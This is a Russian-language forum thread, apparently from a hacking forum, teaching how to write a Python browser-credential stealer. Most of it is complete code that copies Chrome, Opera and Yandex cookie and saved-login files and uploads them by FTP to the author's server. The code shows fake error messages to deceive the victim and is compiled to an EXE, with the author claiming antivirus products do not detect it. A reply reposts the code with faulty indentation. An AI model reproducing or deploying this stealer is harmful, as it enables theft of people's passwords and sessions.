• Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

Пишем крутой стиллер на Python

Дэээн

Эксперт
Эксперт
Регистрация
08.02.20
TG
@@Fit001
Начинаем
Скачиваем, устанавливаем и запускаем Python
>>>ТЫК<<<

Подключаем библиотеки:

import os.path
import getpass
from ftplib import FTP
import random
con = FTP("хост","логин","пароль")


Первая библиотека (os.path) - используется для проверки директории на валидность, точнее на то, существует ли она в природе.

Вторая библиотека (getpass) - используется для получения юзернейма пользователя, под которым запущен процесс, это нужно для доступа к папке AppData.

Третья библиотека (ftplib) - тут самое интересное, она нам поможет отправлять пароли по FTP на наш сервер.

Четвертая библиотека (random) - ну тут все просто, мы рандомизируем названия файла, который отправляем на сервер.

И напоследок, мы подключаемся по ftp по логину, паролю и хосту.

Теперь перейдем к более интересным вещам, чем просто библиотеки, напишем уже сами пути к директориям, где лежат наши пароли, а пароли будем воровать из браузеров - Opera, Yandex, Google Chrome.

Итак, вот код, пишем его, далее будем его разбирать:

UserName = '\\' + getpass.getuser()
dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"

dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"

dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"


UserName - принимает значения имя текущего пользователя.

dir_cookie_google, dir_pass_google, ...., ... - и т.д. Это все директории где хранятся пароли, нам интерестны именно эти 3 браузера. Будем забирать пароли и куки и перекидывать их себе на сервер по FTP. Потом открывать в sqlite manager, но об этом позже.

У нас имеются директории, у нас есть библиотеки для работы, что же дальше? Пора приступать к основной задаче - написанию стиллера.

Вот код, запишите его и начнем разбирать:

dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"


def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:


Рассмотрим первые строчки. В начале, до функции, мы записываем в переменные адреса наших директорий для последующей проверки на валидность. "Зачем это нужно?", - спросите вы меня. Да так проще! Зачем ставить try, except, если можно проверить на валидность с помощью os.path.exits.

Далее у идет функция, со множествами if, но тут ничего ничего сложного нет, все просто:

if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)



Мы проверяем, является ли директория валидной, а после открываем ее, и отправляем файл на наш сервер FTP.

Такс... Функцию написали, библиотеки подключили, директории есть. Чего не хватает? Думаю, не хватает задействовать функцию и вывести на экран какую-нибудь псевдо-ошибку, что мол библиотека не подключена и все дела.

Пишем код:

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()


Первая строка - вызов функции, которая ворует пароли.

Далее выводим сообщения об "ошибке", чтобы пользователь думал, что это у него проблемы какие то. И что программа не зловредная, а наоборот, пыталась помочь. Но, как оказалось, библиотеки видите ли у него нет.

Ниже весь код целиком:

import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
if (os.path.exists(dir_google)) == True:
filename = "google"+str(random.randint(1, 10000))
filename2 = "google_pass" + str(random.randint(1, 10000))
with open(dir_cookie_google, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_google, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_opera)) == True:
filename = "opera"+str(random.randint(1, 10000))
filename2 = "opera_pass" + str(random.randint(1, 10000))
with open(dir_cookie_opera, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_opera, "rb") as content:
con.storbinary("STOR %s" % filename2, content)
if (os.path.exists(dir_yandex)) == True:
filename = "yandex"+str(random.randint(1, 10000))
filename2 = "yandex_pass" + str(random.randint(1, 10000))
with open(dir_cookie_yandex, "rb") as content:
con.storbinary("STOR %s" % filename, content)
with open(dir_pass_yandex, "rb") as content:
con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import HOUII.dll")
print("Error RUN cheat")
input()



Компилируем в EXE
У нас есть код, но он на пайтоне, как же его эксплуатировать на чужом ПК?

- pyinstaller

Скачаем его:

pip install pyinstaller

Далее скомпилируем его в EXE'шник, дабы было все проще

pyinstaller -F <my_script>.py

Вот и все, по сути у нас есть EXE файл, который не палится антивирусами. На практике kaspersky, dr.web, и др популярные антивирусы не определяют его как вредоносное программное обеспечения, даже если ему тыкнуть носом, вот мол, смотри, давай его просканируем, может там вирусы трояны, бэкдоры! Он говорит - нет, там нету ничего...
 
Telegram
@Fit001

xXx_SashaPestrOW_xXx

Пользователь на проверке
На проверке
Регистрация
01.04.21
14010 INFO
Syntax error in C:\Users\root\Desktop\hack.py
File "C:\Users\root\Desktop\hack.py", line 25
if (os.path.exists(dir_google)) == True:
^
IndentationError: expected an indented block

Сделал запрос в гугл, там говорится, что код должен быть отформатирован и что внутри цикла должна визуально отображаться вложенность. Что сделать?
 

xXx_SashaPestrOW_xXx

Пользователь на проверке
На проверке
Регистрация
01.04.21
14010 INFO
Syntax error in C:\Users\root\Desktop\hack.py
File "C:\Users\root\Desktop\hack.py", line 25
if (os.path.exists(dir_google)) == True:
^
IndentationError: expected an indented block

Сделал запрос в гугл, там говорится, что код должен быть отформатирован и что внутри цикла должна визуально отображаться вложенность. Что сделать?
Решил проблему. Надо было "приукрасить" код, добавив несколько табуляций.
Код:
import os.path
import getpass
from ftplib import FTP
import random

con = FTP("хост","логин","пароль")

"""
Hack to directory
"""

UserName = '\\' + getpass.getuser()

dir_cookie_google = 'C:\\Users'+UserName+'\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies'
dir_pass_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
dir_cookie_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies"
dir_pass_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker"
dir_cookie_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies"
dir_pass_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data"
dir_google = "C:\\Users"+UserName+"\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Cookies"
dir_firefox = "C:\\Users"+UserName+"\\AppData\\Roaming\\Mozilla\\Firefox"
dir_yandex = "C:\\Users"+UserName+"\\AppData\\Local\\Yandex"
dir_opera = "C:\\Users"+UserName+"\\AppData\\Roaming\\Opera Software"

def check():
    if (os.path.exists(dir_google)) == True:
        filename = "google"+str(random.randint(1, 10000))
        filename2 = "google_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_google, "rb") as content:
        con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_google, "rb") as content:
        con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_opera)) == True:
        filename = "opera"+str(random.randint(1, 10000))
        filename2 = "opera_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_opera, "rb") as content:
        con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_opera, "rb") as content:
        con.storbinary("STOR %s" % filename2, content)
    if (os.path.exists(dir_yandex)) == True:
        filename = "yandex"+str(random.randint(1, 10000))
        filename2 = "yandex_pass" + str(random.randint(1, 10000))
    with open(dir_cookie_yandex, "rb") as content:
        con.storbinary("STOR %s" % filename, content)
    with open(dir_pass_yandex, "rb") as content:
        con.storbinary("STOR %s" % filename2, content)

check()
print("Error library import sosopisa.dll")
print("Error RUN cheat")
input()
 
Сверху Снизу